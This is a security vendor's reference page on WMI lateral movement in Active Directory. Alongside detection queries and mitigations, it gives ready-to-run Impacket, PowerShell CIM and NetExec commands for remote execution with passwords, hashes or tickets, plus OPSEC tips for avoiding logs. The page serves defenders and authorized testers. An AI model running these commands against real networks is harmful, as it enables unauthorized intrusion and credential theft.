1. Resources
  2. Identity Threats
  3. Active Directory

WMI Lateral Movement

Also known as: wmiexec, Win32_Process Create, Remote WMI execution, WMI remote process creation

An account with administrator rights on a Windows host can start processes there through remote WMI, without creating a service or copying a binary.

Platform
Active Directory
Tactic
Execution
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
Local Administrators membership on the target (or an explicit Remote Enable grant on the WMI namespace plus DCOM launch rights), and RPC or WinRM access to it.
What the attacker gains
Command execution on the target as the authenticating account with a full administrator token.
Threat groups
APT-C-36APT29APT32APT41APT42Aquatic PandaBlackByteBlue MockingbirdChimeraCinnamon TempestDeep PandaEarth LuscaEmber BearFIN13and 36 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1047, T1078.002.

How it works

Windows Management Instrumentation (WMI) is the management layer that lets administrators query and configure Windows through classes such as Win32_Service and Win32_Process. It works across the network. An authorized caller connects to a namespace on another computer, usually root\cimv2, and calls methods there. One of those methods is Create on Win32_Process, which starts a process with a command line the caller chooses. That single call is the whole technique: remote process creation through a documented management interface. It is a common way to do lateral movement when service creation is too noisy.

Remote WMI travels over one of two transports:

  • DCOM. The client contacts the RPC endpoint mapper on TCP 135 and is given a dynamic port for the WMI service. Impacket and the legacy wmic.exe client use this path. Microsoft has deprecated wmic.exe, and it is disabled by default on current Windows 11 builds.
  • WinRM. The PowerShell CIM cmdlets use WS-Management by default, on TCP 5985 (HTTP) or 5986 (HTTPS). A CIM session can be switched to DCOM with a session option.

Access is checked in layers. The caller must be allowed to log on from the network, must pass DCOM launch and activation limits when DCOM is the transport, and must hold the Remote Enable right on the namespace. By default, members of local Administrators pass all three. The provider behind a class can apply its own checks to a specific operation. As with other remote administration channels, a domain account in local Administrators receives a full token; remote UAC filtering affects only local accounts, and not the built-in Administrator.

The created process runs under the caller's identity on the target, not as SYSTEM. The Create method returns a process ID and a return code, not the output of the command, so tools that show output redirect it to a file and fetch the file. Impacket wmiexec.py wraps each command in cmd.exe /Q /c, redirects output to a file named __ plus a timestamp on the ADMIN$ share, reads the file over SMB and deletes it.

WMI event subscriptions (a filter bound to a consumer) are a separate, persistence-oriented use of WMI and are not covered here.

Prerequisites

  • An account that is a local administrator on the target, or one that has been granted Remote Enable on the namespace together with the DCOM remote launch and activation rights.
  • Network access: TCP 135 and the dynamic RPC range for DCOM, or TCP 5985/5986 for WinRM. For tools that read output from a share, TCP 445 as well.
  • A host firewall on the target that allows the chosen transport from the attacker's position.
  • A password, an NT hash or a Kerberos ticket for the account.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Semi-interactive shell with Impacket

# Password
wmiexec.py corp.example.com/alice:'<password>'@SRV01.corp.example.com

# NT hash
wmiexec.py -hashes :<nt-hash> corp.example.com/alice@192.0.2.20

# Kerberos ticket from the ccache named in KRB5CCNAME
wmiexec.py -k -no-pass corp.example.com/alice@SRV01.corp.example.com

# PowerShell as the command processor
wmiexec.py -shell-type powershell corp.example.com/alice:'<password>'@192.0.2.20

Two options change what the target sees. -nooutput skips the output file and the SMB connection, so only the WMI call is made. -silentcommand runs the given command directly, without cmd.exe in front of it, and returns no output:

wmiexec.py -nooutput corp.example.com/alice:'<password>'@192.0.2.20 'C:\Windows\Temp\payload.exe'
wmiexec.py -silentcommand corp.example.com/alice:'<password>'@192.0.2.20 'C:\Windows\Temp\payload.exe'

2. Native PowerShell

From a Windows host, the CIM cmdlets call the same method. With -ComputerName the request goes over WinRM:

Invoke-CimMethod -ComputerName SRV01 -ClassName Win32_Process -MethodName Create `
    -Arguments @{ CommandLine = 'cmd.exe /c whoami > C:\Windows\Temp\out.txt' }

To use DCOM instead, for hosts where WinRM is not enabled, create the session with the DCOM protocol option:

$so = New-CimSessionOption -Protocol Dcom
$session = New-CimSession -ComputerName SRV01 -SessionOption $so -Credential (Get-Credential)
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create `
    -Arguments @{ CommandLine = 'powershell.exe -NoProfile -Command "Get-Process | Out-File C:\Windows\Temp\p.txt"' }

The call returns ProcessId and ReturnValue. A return value of 0 means the process was created; it says nothing about what the process did.

3. One command on many hosts

NetExec tries WMI first when it executes commands over its SMB protocol, and can be forced to use only that method:

nxc smb 192.0.2.0/24 -u alice -p '<password>' -x whoami --exec-method wmiexec

Impact

The attacker executes commands on the target with the full administrator token of the account they authenticated as. That is enough to dump credentials from the host (LSASS credential dumping), stage tools and move on. Because the process is not SYSTEM, a few actions need an extra step, but an administrator token can obtain SYSTEM at will.

WMI execution is preferred by operators who want to avoid the service installation events of PsExec-style execution. It also works where file shares are locked down, since the call itself needs no SMB access.

OPSEC and artifacts

  • No service and no upload. Nothing is written by the call itself, so events 7045 and 4697 never appear. The network logon still does: event 4624 type 3 on the target with the source address, and event 4672 for the privileged session.
  • Skipping the output file. -nooutput and -silentcommand avoid the cmd.exe /Q /c ... 1> \\127.0.0.1\ADMIN$\__<timestamp> 2>&1 command line that default wmiexec.py use leaves in process creation logs, and the SMB session to ADMIN$ that goes with it. The process creation itself remains.
  • Process lineage. The new process is started by the WMI provider host, WmiPrvSE.exe, not by a shell or a service. With command-line auditing enabled, event 4688 shows the full command line and that parent. Interactive use of the host almost never produces cmd.exe or powershell.exe under WmiPrvSE.exe.
  • Using WinRM as the transport. This moves the network traffic to TCP 5985 and adds WinRM operational events on the target, but the process still descends from the WMI provider host.
  • WMI-Activity log. The Microsoft-Windows-WMI-Activity/Operational channel records provider starts (event 5857) and failed operations with the client machine, user and result code (event 5858). A failed attempt, for example with a wrong namespace or insufficient rights, is logged; a successful Create is not guaranteed to be.
  • Client process ID. WMI-Activity records carry the client's process ID, which refers to a process on the calling machine, not on the target.

Detection

  • Processes created by the WMI provider host. This is the most reliable signal. Hunt for WmiPrvSE.exe as the parent of command processors, script hosts and unsigned binaries, and for the default Impacket pattern of a redirect to \\127.0.0.1\ADMIN$\__ followed by digits.
  • Network logon followed by process creation. Match the TargetLogonId of a type 3 event 4624 to the SubjectLogonId of the 4688 events that follow on the same host. This gives the source address of the caller.
  • Failed WMI operations. A burst of event 5858 from one client across many hosts points to someone testing where their account has rights.
  • Authentication type. A privileged account that authenticates with NTLM from a workstation and then creates processes through WMI fits the Pass-the-Hash rules.
// Command processors and script hosts started by the WMI provider host
SecurityEvent
| where EventID == 4688
| where ParentProcessName endswith "\\WmiPrvSE.exe"
| where NewProcessName has_any ("\\cmd.exe", "\\powershell.exe", "\\pwsh.exe", "\\wscript.exe", "\\cscript.exe", "\\rundll32.exe", "\\mshta.exe")
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId, NewProcessName, CommandLine
| order by TimeGenerated desc
// WMI provider starts and failed operations on a host
WindowsEvent
| where Channel == "Microsoft-Windows-WMI-Activity/Operational" and EventID in (5857, 5858)
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated asc

Management products such as configuration managers, monitoring agents and inventory tools use WMI heavily and start processes through it. Baseline their source hosts, accounts and command lines, and alert on what falls outside.

Mitigation

  • Limit local administrators. Remote WMI execution is available to whoever administers the host. Reduce and tier those grants, as described for remote service creation, and give each machine its own local administrator password with Windows LAPS.
  • Restrict the network path. Allow inbound RPC (TCP 135 and the dynamic range) and WinRM only from management hosts. Workstations rarely need to accept remote WMI from other workstations.
  • Review namespace and DCOM permissions. Remove Remote Enable grants on WMI namespaces that are not needed, and check each dependent provider before narrowing a shared namespace. Review the machine-wide DCOM launch and activation limits together with the namespace security.
  • Block WMI-spawned processes on endpoints where the management tooling allows it. Microsoft Defender has an attack surface reduction rule that blocks process creations originating from PsExec and WMI commands.
  • Audit. Enable Audit Process Creation with command-line logging on servers and collect the WMI-Activity operational channel. The audit policy guide lists the settings. Command lines can contain secrets, so restrict who can read the Security log.

Detection rules for this attack

Log events to collect

FAQ

How is WMI execution different from PsExec?

PsExec-style tools copy a binary and install a service, so the command runs as SYSTEM and the host logs a service installation. WMI execution calls the Create method of the Win32_Process class. No service is created and nothing has to be uploaded, and the process runs as the authenticating account rather than SYSTEM.

Which ports does remote WMI use?

Over DCOM, the client connects to the RPC endpoint mapper on TCP 135 and then to a dynamically assigned RPC port. Over WinRM, WMI uses TCP 5985 for HTTP and 5986 for HTTPS. Tools that return command output usually also open an SMB connection on TCP 445 to read a temporary file.

Does WMI execution leave logs?

Yes, but fewer than service creation. The target records a network logon (event 4624 type 3) and, with process creation auditing, event 4688 for a process whose parent is the WMI provider host. The WMI-Activity operational log records provider starts and failed operations, not a full history of successful calls.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.